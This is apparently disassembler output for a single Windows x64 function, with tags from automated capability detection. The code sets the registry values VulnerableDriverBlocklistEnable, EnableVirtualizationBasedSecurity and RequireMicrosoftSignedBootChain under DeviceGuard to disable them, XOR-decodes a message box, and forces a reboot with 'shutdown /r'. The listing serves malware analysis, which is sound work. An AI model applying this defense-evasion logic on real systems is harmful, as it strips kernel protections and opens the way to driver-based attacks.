Function at 0x140039a70
Capabilities:
Disable device guard features via registry on windows
Disable system features via registry on windows
Encode data using xor
Execute command
Query or enumerate registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14020b010]
xor rax, rsp
mov qword [rbp + 0x40], rax
lea rcx, [0x1401f4ecc]
call fcn.14016c244
xor r12b, r12b
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
xor r14d, r14d
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
lea ecx, [r14 + 0x10]
call fcn.14008c900
mov qword [rsp + 0x70], rax
lea rcx, [rbp - 0x78]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
lea rdx, [0x1401f4ed0]
lea rcx, [rbp - 0x78]
call fcn.140089c70
nop
mov qword [rsp + 0x58], r14
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae rdx, qword [rbp - 0x70]
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x2011f
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14003abc8
mov rsi, qword [rsp + 0x58]
mov qword [rbp - 0x80], rsi
lea edx, [rax + 3]
lea rcx, [rsp + 0x68]
call fcn.140090210
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x140039bb0
cmp qword [rdx + 8], r14
je 0x140039bac
nop
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x140039b90
mov rdx, qword [rbp - 0x78]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x68]
call fcn.1400902f0
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x140039bd5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
call fcn.14008c9e0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rcx, qword [rbp - 0x78]
mov qword [rbp - 0x78], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
mov r13d, 4
mov r15d, 0x80000000
test rsi, rsi
je 0x140039ea0
mov qword [rbp - 0x48], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
lea ecx, [r13 + 0xc]
call fcn.14008c900
mov qword [rsp + 0x70], rax
lea rcx, [rbp - 0x50]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
lea rdx, str.VulnerableDriverBlocklistEnable
lea rcx, [rbp - 0x50]
call fcn.140089c70
nop
mov dword [rsp + 0x68], r14d
mov dword [rsp + 0x58], r13d
lea r8, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae r8, qword [rbp - 0x48]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor edx, edx
lea r9d, [r13 + 0xc]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov edi, eax
test eax, eax
je 0x140039ca4
xor bl, bl
jmp 0x140039caa
mov edi, dword [rsp + 0x68]
mov bl, 1
mov edx, 3
lea rcx, [rsp + 0x58]
call fcn.140090210
mov rdx, qword [rbp - 0x50]
test rdx, rdx
je 0x140039cf0
cmp qword [rdx + 8], 0
je 0x140039cec
nop dword [rax]
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x140039cd0
mov rdx, qword [rbp - 0x50]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x58]
call fcn.1400902f0
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x140039d15
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
call fcn.14008c9e0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
mov rcx, qword [rbp - 0x50]
mov qword [rbp - 0x50], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
cmp bl, 1
jne 0x140039e6b
test edi, edi
je 0x140039e6b
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rsp + 0x70], rax
lea rcx, [rbp - 0x50]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
lea rdx, str.VulnerableDriverBlocklistEnable
lea rcx, [rbp - 0x50]
call fcn.140089c70
nop
mov dword [rsp + 0x58], r14d
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rdx, qword [rbp - 0x48]
mov dword [rsp + 0x28], r13d
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14003abeb
lea edx, [rax + 3]
lea rcx, [rsp + 0x58]
call fcn.140090210
mov rdx, qword [rbp - 0x50]
test rdx, rdx
je 0x140039e20
cmp qword [rdx + 8], 0
je 0x140039e1c
nop dword [rax]
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x140039e00
mov rdx, qword [rbp - 0x50]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x58]
call fcn.1400902f0
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x140039e45
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
call fcn.14008c9e0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
mov rcx, qword [rbp - 0x50]
mov qword [rbp - 0x50], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
mov r12b, 1
lea rax, [rsi + r15]
cmp rax, 5
jbe 0x140039e99
cmp rsi, 0xffffffff80000007
je 0x140039e99
cmp rsi, 0xffffffff80000060
je 0x140039e99
cmp rsi, 0xffffffff80000050
je 0x140039e99
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, r14
mov qword [rbp - 0x80], r14
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rsp + 0x70], rax
lea rcx, [rbp - 0x50]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
lea rdx, str.SYSTEMControlSet001ControlDeviceGuard
lea rcx, [rbp - 0x50]
call fcn.140089c70
nop
mov qword [rsp + 0x58], r14
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rdx, qword [rbp - 0x48]
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x2011f
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14003ac0e
mov rbx, qword [rsp + 0x58]
mov qword [rsp + 0x70], rbx
lea edx, [rax + 3]
lea rcx, [rsp + 0x58]
call fcn.140090210
mov rdx, qword [rbp - 0x50]
test rdx, rdx
je 0x140039f90
cmp qword [rdx + 8], 0
je 0x140039f8c
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x140039f70
mov rdx, qword [rbp - 0x50]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x58]
call fcn.1400902f0
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x140039fb5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
call fcn.14008c9e0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
mov rcx, qword [rbp - 0x50]
mov qword [rbp - 0x50], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
test rbx, rbx
je 0x14003a4e7
mov qword [rbp - 0x70], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x78]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
lea rdx, str.EnableVirtualizationBasedSecurity
lea rcx, [rbp - 0x78]
call fcn.140089c70
nop
mov dword [rsp + 0x68], r14d
mov dword [rsp + 0x58], r13d
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae r8, qword [rbp - 0x70]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor edx, edx
lea r9d, [rdx + 0x10]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov r15d, eax
test eax, eax
je 0x14003a07b
xor dil, dil
jmp 0x14003a083
mov r15d, dword [rsp + 0x68]
mov dil, 1
mov edx, 3
lea rcx, [rsp + 0x58]
call fcn.140090210
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x14003a0d0
cmp qword [rdx + 8], 0
je 0x14003a0cc
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x14003a0b0
mov rdx, qword [rbp - 0x78]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x58]
call fcn.1400902f0
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x14003a0f5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
call fcn.14008c9e0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rcx, qword [rbp - 0x78]
mov qword [rbp - 0x78], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
cmp dil, 1
jne 0x14003a24b
test r15d, r15d
je 0x14003a24b
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x78]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
lea rdx, str.EnableVirtualizationBasedSecurity
lea rcx, [rbp - 0x78]
call fcn.140089c70
nop
mov dword [rsp + 0x58], r14d
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae rdx, qword [rbp - 0x70]
mov dword [rsp + 0x28], r13d
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14003ac31
lea edx, [rax + 3]
lea rcx, [rsp + 0x58]
call fcn.140090210
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x14003a200
cmp qword [rdx + 8], 0
je 0x14003a1fc
nop dword [rax + rax]
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x14003a1e0
mov rdx, qword [rbp - 0x78]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x58]
call fcn.1400902f0
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x14003a225
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
call fcn.14008c9e0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rcx, qword [rbp - 0x78]
mov qword [rbp - 0x78], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
mov r12b, 1
mov qword [rbp - 0x70], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x78]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
lea rdx, str.RequireMicrosoftSignedBootChain
lea rcx, [rbp - 0x78]
call fcn.140089c70
nop
mov dword [rsp + 0x68], r14d
mov dword [rsp + 0x58], r13d
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae r8, qword [rbp - 0x70]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor edx, edx
lea r9d, [rdx + 0x10]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov r15d, eax
test eax, eax
je 0x14003a2e5
xor dil, dil
jmp 0x14003a2ed
mov r15d, dword [rsp + 0x68]
mov dil, 1
mov edx, 3
lea rcx, [rsp + 0x58]
call fcn.140090210
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x14003a330
cmp qword [rdx + 8], 0
je 0x14003a32c
nop dword [rax]
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x14003a310
mov rdx, qword [rbp - 0x78]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x58]
call fcn.1400902f0
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x14003a355
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
call fcn.14008c9e0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rcx, qword [rbp - 0x78]
mov qword [rbp - 0x78], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
cmp dil, 1
jne 0x14003a4ab
test r15d, r15d
je 0x14003a4ab
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x78]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
lea rdx, str.RequireMicrosoftSignedBootChain
lea rcx, [rbp - 0x78]
call fcn.140089c70
nop
mov dword [rsp + 0x58], r14d
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae rdx, qword [rbp - 0x70]
mov dword [rsp + 0x28], r13d
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14003ac54
lea edx, [rax + 3]
lea rcx, [rsp + 0x58]
call fcn.140090210
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x14003a460
cmp qword [rdx + 8], 0
je 0x14003a45c
nop dword [rax + rax]
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x14003a440
mov rdx, qword [rbp - 0x78]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x58]
call fcn.1400902f0
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x14003a485
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
call fcn.14008c9e0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rcx, qword [rbp - 0x78]
mov qword [rbp - 0x78], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
mov r12b, 1
mov r15d, 0x80000000
lea rax, [rbx + r15]
cmp rax, 5
jbe 0x14003a4df
cmp rbx, 0xffffffff80000007
je 0x14003a4df
cmp rbx, 0xffffffff80000060
je 0x14003a4df
cmp rbx, 0xffffffff80000050
je 0x14003a4df
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, r14
mov qword [rsp + 0x70], rbx
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x78]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
lea rdx, str.SYSTEMControlSet001ControlDeviceGuardScenarios
lea rcx, [rbp - 0x78]
call fcn.140089c70
nop
mov qword [rsp + 0x58], r14
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae rdx, qword [rbp - 0x70]
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x2011f
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14003ac77
mov rdi, qword [rsp + 0x58]
mov qword [rsp + 0x68], rdi
lea edx, [rax + 3]
lea rcx, [rsp + 0x58]
call fcn.140090210
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x14003a5e0
cmp qword [rdx + 8], 0
je 0x14003a5dc
nop word [rax + rax]
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x14003a5c0
mov rdx, qword [rbp - 0x78]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x58]
call fcn.1400902f0
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x14003a605
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
call fcn.14008c9e0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rcx, qword [rbp - 0x78]
mov qword [rbp - 0x78], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
test rdi, rdi
je 0x14003a8a0
mov qword [rbp - 0x48], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x50]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
lea rdx, [0x1401f50d0]
lea rcx, [rbp - 0x50]
call fcn.140089c70
nop
mov dword [rsp + 0x58], r14d
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rdx, qword [rbp - 0x48]
mov dword [rsp + 0x28], r13d
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete r15b
mov edx, 3
lea rcx, [rsp + 0x58]
call fcn.140090210
mov rdx, qword [rbp - 0x50]
test rdx, rdx
je 0x14003a700
cmp qword [rdx + 8], 0
je 0x14003a6fc
nop word [rax + rax]
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x14003a6e0
mov rdx, qword [rbp - 0x50]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x58]
call fcn.1400902f0
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14003a725
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
call fcn.14008c9e0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
mov rcx, qword [rbp - 0x50]
mov qword [rbp - 0x50], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
test r15b, r15b
je 0x14003a869
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x50]
mov qword [rax], rcx
mov qword [rax + 8], r14
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
lea rdx, [0x1401f50d0]
lea rcx, [rbp - 0x50]
call fcn.140089c70
nop
mov dword [rsp + 0x58], r14d
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rdx, qword [rbp - 0x48]
mov dword [rsp + 0x28], r13d
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14003aba5
lea edx, [rax + 3]
lea rcx, [rsp + 0x58]
call fcn.140090210
mov rdx, qword [rbp - 0x50]
test rdx, rdx
je 0x14003a821
cmp qword [rdx + 8], 0
je 0x14003a81d
mov rax, qword [rdx + 8]
mov qword [rax], r14
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
test rcx, rcx
jne 0x14003a801
mov rdx, qword [rbp - 0x50]
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x58]
call fcn.1400902f0
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14003a846
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
call fcn.14008c9e0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
mov rcx, qword [rbp - 0x50]
mov qword [rbp - 0x50], r14
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
mov r15d, 0x80000000
lea rax, [rdi + r15]
cmp rax, 5
jbe 0x14003a89d
cmp rdi, 0xffffffff80000007
je 0x14003a89d
cmp rdi, 0xffffffff80000060
je 0x14003a89d
cmp rdi, 0xffffffff80000050
je 0x14003a89d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, r14
test r12b, r12b
je 0x14003aac7
movups xmm0, xmmword [0x1401f75b0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1401f75c0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1401f75d0]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x1401f75e0]
movups xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [0x1401f75f0]
movups xmmword [rbp + 0x20], xmm0
movsd xmm1, qword [0x1401f7600]
movsd qword [rbp + 0x30], xmm1
mov eax, dword [0x1401f7608]
mov dword [rbp + 0x38], eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14003aa47
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1401f89f0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x70]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r14d, 8
lea rcx, [rcx + 8]
cmp r14d, 0x58
jl 0x14003a940
cmp r14d, 0x5c
jge 0x14003aa92
movsxd rax, r14d
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r14d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r14b
xor byte [r8], cl
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x5c
jl 0x14003aa60
mov r9d, 0x40030
lea r8, [0x1401f5110]
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.shutdown__r
call fcn.14016c244
xor r14b, r14b
jmp 0x14003aaca
mov r14b, 1
test rdi, rdi
je 0x14003aafe
lea rax, [rdi + r15]
cmp rax, 5
jbe 0x14003aafe
cmp rdi, 0xffffffff80000007
je 0x14003aafe
cmp rdi, 0xffffffff80000060
je 0x14003aafe
cmp rdi, 0xffffffff80000050
je 0x14003aafe
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test rbx, rbx
je 0x14003ab32
lea rax, [rbx + r15]
cmp rax, 5
jbe 0x14003ab32
cmp rbx, 0xffffffff80000007
je 0x14003ab32
cmp rbx, 0xffffffff80000060
je 0x14003ab32
cmp rbx, 0xffffffff80000050
je 0x14003ab32
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test rsi, rsi
je 0x14003ab65
lea rax, [rsi + r15]
cmp rax, 5
jbe 0x14003ab65
cmp rsi, 0xffffffff80000007
je 0x14003ab65
cmp rsi, 0xffffffff80000060
je 0x14003ab65
cmp rsi, 0xffffffff80000050
je 0x14003ab65
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, r14b
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.14008db20
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
